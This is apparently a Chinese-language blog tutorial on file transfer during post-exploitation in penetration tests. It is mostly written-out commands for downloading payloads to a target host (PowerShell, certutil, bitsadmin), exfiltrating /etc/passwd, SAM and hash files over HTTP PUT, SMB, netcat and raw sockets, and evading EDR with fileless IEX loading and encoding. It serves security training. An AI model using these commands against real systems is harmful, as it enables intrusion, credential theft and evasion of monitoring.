渗透测试实战(一):文件传输全技法与深度解析

引言:构建隐蔽通道与 Living Off The Land 艺术

在渗透测试的后利用(Post-Exploitation)阶段,高效的文件传输能力往往是决定成败的关键分水岭。无论是向目标投递定制化恶意载荷、上传提权工具,还是将敏感数据(如凭证哈希、配置文件)渗出(Exfiltration)至外部,稳定且隐蔽的传输通道都是必经之路。

然而,在现代防御体系(EDR、AV、NIDS)日益敏感的背景下,直接上传未知二进制文件或开启非标准端口的服务极易触发警报。因此,高阶渗透测试的核心策略在于 "Living Off The Land"(LOTL,基于陆地生存)

本文将系统性地梳理在不同操作系统与网络环境下,如何利用系统原生工具(如 PowerShell、CertUtil、Bash、SMB)和轻量级临时服务,构建多样化的文件传输矩阵。我们的目标不仅是实现"传得过去",更要做到"传得隐蔽",通过模拟正常业务流量和系统行为,规避防御机制,完成从初始访问到完全控制的无缝衔接。


1. 核心战术:HTTP 协议传输

HTTP/HTTPS 协议是内网中最不可能被阻断的流量。利用系统自带工具或单命令行 Web 服务,可以快速建立传输通道。

1.1 快速搭建临时 Web 服务 (攻击机)

无需安装复杂环境,利用系统内置解释器即可拉起服务。

工具 命令示例 适用场景
Python 3 python3 -m http.server 4444 最通用,Linux/Mac 默认环境
Python 2 python2 -m SimpleHTTPServer 89 老旧 Linux 发行版
PHP php -S 0.0.0.0:8080 已安装 PHP 的服务器
Ruby ruby -run -e httpd . -p 1337 开发环境或 MacOS
Apache2 systemctl start apache2 需要持久化或复杂配置时

1.2 目标机下载技术 (Download)

优先使用系统原生二进制文件,避免上传第三方工具(如 wgetnc.exe)引起怀疑。

Linux 环境
bash 复制代码
# 标准工具
curl -o /tmp/tool http://IP/tool
wget http://IP/exploit.sh

# 无工具利用 (Bash Native)
cat < /dev/tcp/IP/80 > /tmp/received_file
Windows 环境 (LOTL 优先)
bash 复制代码
# PowerShell (最隐蔽,推荐)
powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://IP/payload.exe', 'C:\Windows\Temp\p.exe')"

# CertUtil (常被监控,但绕过简单杀软有效)
certutil -urlcache -split -f http://IP/mimi.exe mimi.exe

# BitsAdmin (利用 Windows 后台服务,隐蔽性极高)
bitsadmin /transfer job1 /download /priority high http://IP/file.exe C:\Windows\Temp\file.exe

1.3 数据渗出与上传 (Upload)

默认的 Python HTTP Server 仅支持下载,上传文件需要特殊配置。

搭建支持 PUT 的服务器

使用自定义脚本(如 HTTPutServer.py)替代默认模块,核心逻辑如下:

python 复制代码
# 核心代码片段
class PUTHandler(BaseHTTPRequestHandler):
    def do_PUT(self):
        length = int(self.headers['Content-Length'])
        content = self.rfile.read(length)
        with open(self.path[1:], "wb") as f:
            f.write(content)
        self.send_response(200)
客户端上传执行
bash 复制代码
# Linux (curl/wget)
curl --upload-file secret.txt http://IP:1337/
wget --method=PUT --post-file=data.txt http://IP:1337/data.txt

# Windows (PowerShell)
Invoke-RestMethod -Uri http://IP:1337/secret.txt -Method PUT -Body (Get-Content secret.txt)
PHP 接收端 (备选)

在攻击机 Web 目录放置 upload.php

php 复制代码
<?php
  $targetDir = './uploads/'; // 确保权限为 777
  $targetFile = $targetDir . basename($_FILES['file']['name']);
  move_uploaded_file($_FILES['file']['tmp_name'], $targetFile);
?>

上传命令:curl -X POST -F 'file=@/etc/passwd' http://IP/upload.php


2. 辅助协议:非 HTTP 通道

当 Web 流量被严格监控或阻断时,利用系统原生支持的协议进行传输。

2.1 SMB 共享 (Windows 首选)

利用 Impacket 搭建 SMB 服务器,模拟内网文件共享,极其隐蔽且无需 Web 请求。

bash 复制代码
# Kali 搭建 (支持 SMB2,避免兼容性问题)
impacket-smbserver share $(pwd) -smb2support -username test -password test

# 目标机连接与复制
net use \\Kali_IP\share /user:test test
copy \\Kali_IP\share\payload.exe C:\Windows\Temp\

2.2 SSH / SCP

适用于 Linux 环境且已获取 SSH 凭证的场景。

bash 复制代码
scp -P 2222 ./local_file user@host:/tmp/remote_path
scp -r user@host:/etc/ ./backup_etc

2.3 FTP / TFTP

适用于网络设备(路由器、交换机)或老旧 Windows 系统。

  • FTP 服务器 : python -m pyftpdlib -p 21 -w(匿名可写)

  • TFTP 服务器 : atftpd --daemon --port 69 /tftpboot


3. 极限环境:无监听与流式传输

当目标无法主动连接攻击机,或攻击机无法开启端口时,使用标准输入输出重定向。

3.1 Netcat (nc) 传输

bash 复制代码
# 接收端 (Kali)
nc -lvnp 4444 > received_file.bin

# 发送端 (Target)
nc -nv 192.168.1.10 4444 < /etc/passwd

3.2 PowerShell TCP 传输 (无 NC 环境)

直接使用 .NET 的 Socket 对象进行流式传输,绕过对 nc.exe的依赖。

bash 复制代码
$client = New-Object System.Net.Sockets.TCPClient('IP',Port);
$stream = $client.GetStream();
$fileStream = [System.IO.File]::OpenRead('C:\secret\hash.txt');
$fileStream.CopyTo($stream);
$fileStream.Close(); $stream.Close(); $client.Close()

4. 自动化框架集成 (Metasploit)

在 Meterpreter 会话中,使用内置命令确保传输稳定性。

操作 命令 说明
上传 upload /local/payload.exe C:\\Windows\\Temp\\ 自动处理 Windows 路径转义
下载 download C:\\Windows\\System32\\config\\SAM ./ 下载注册表或敏感文件
搭建服务 use auxiliary/server/ftp 快速搭建 FTP 陷阱或传输点

5. 防御规避建议

  1. 伪装流量 :尽量使用 80/443 端口,并将文件命名为常见文件名(如 update.exe, logo.png)。

  2. 编码混淆 :使用 certutil -encode或 Base64 编码传输文件,在目标端解码执行,以绕过内容检测。

  3. 内存执行 :优先使用 powershell IEX (New-Object Net.WebClient).DownloadString(...)直接在内存中加载脚本,避免文件落盘。

免责声明:本文档仅供授权的渗透测试与安全研究使用。严禁用于非法用途。

相关推荐
Aphasia3112 天前
VPN 与内网穿透
安全
Mr_愚人派3 天前
当"Claude"不再是 Claude:一次第三方 API 代理引发的 AI 身份伪造排查实录
人工智能·安全
DaLi Yao3 天前
【无标题】
人工智能·安全
Alsn863 天前
等待学习-学习目录:Docker 容器安全攻防
学习·安全·docker
网络研究院3 天前
2026年网络安全
网络·安全·法律·法规·趋势·发展
treesforest3 天前
AI安全系统如何识别异常访问?IP风险识别正在成为关键能力
网络·人工智能·tcp/ip·安全·web安全
零零信安3 天前
零零信安荣登数世咨询《新质·数字安全专精百强(2026)》暗网情报领域,彰显专业实力与创新引领
安全·网络安全·数据泄露·暗网·零零信安
开发小能手-roy3 天前
StringBuilder vs StringBuffer:2024年还需要线程安全字符串吗?
开发语言·python·安全
_阿伟_3 天前
JWT介绍
安全
zhengfei6114 天前
小白级手册——全面剖析红队信息收集思考
网络·安全·web安全